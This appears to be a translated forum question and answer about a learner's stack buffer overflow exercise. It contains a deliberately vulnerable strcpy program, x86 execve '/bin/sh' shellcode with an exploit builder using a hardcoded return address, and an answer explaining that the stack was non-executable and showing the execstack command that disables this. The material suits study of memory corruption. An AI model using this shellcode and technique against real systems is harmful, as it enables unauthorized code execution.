我尝试让Buffer Overflow工作。我有以下简单易受攻击的程序:
int main(int argc, char** argv) {
char buffer[80];
strcpy(buffer,argv[1]);
return 1;
}
使用以下程序,我想获得一个带缓冲区溢出的Shell。
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=",4);
memcpy(buffer+4,shellcode,24);
memcpy(buffer+88,retaddr,4);
memcpy(buffer+92, "\x00\x00\x00\x00",4);
putenv(buffer);
printf("%p\n", buffer);
system("/bin/sh");
return 0;
}
本程序在Beginning处创建一个带有shellcode的Buffer。在Shellcode之后是一些NOP指令,然后是覆盖返回地址并指向Shellcode开头的值。然后,它使用缓冲区创建一个环境变量并启动一个Shell。
如果我运行该程序,则shell启动并设置环境变量。但是,如果我尝试使用环境变量作为参数来运行易受攻击的程序,则会出现分段错误。
以下是gdb的一些屏幕: 我没有足够的声誉来直接发布图片,所以这里是一张包含4张图片的imgur相册的链接。
第一张图显示了strcpy发生之前的堆栈。
第二个显示argv 1
第三张图显示了strcpy之后的堆栈。
如果可以看到0xf7e00497是返回地址。如果我对此地址进行了解释,则会显示libc函数的代码。
在第三张图片中,您会看到该地址被地址0xffffd5a8覆盖,该地址指向堆栈的顶部。
在图片编号4中,如果程序运行起来,则会看到分段错误。
有人可以告诉我为什么吗?一切似乎都没问题? 我使用gcc的-fno-stack-protector选项编译了这两个程序。
答案 0 :(得分:0)
感谢@ type1232,问题是堆栈不可执行。
使用execstack -s vulProg
,shellcode将运行。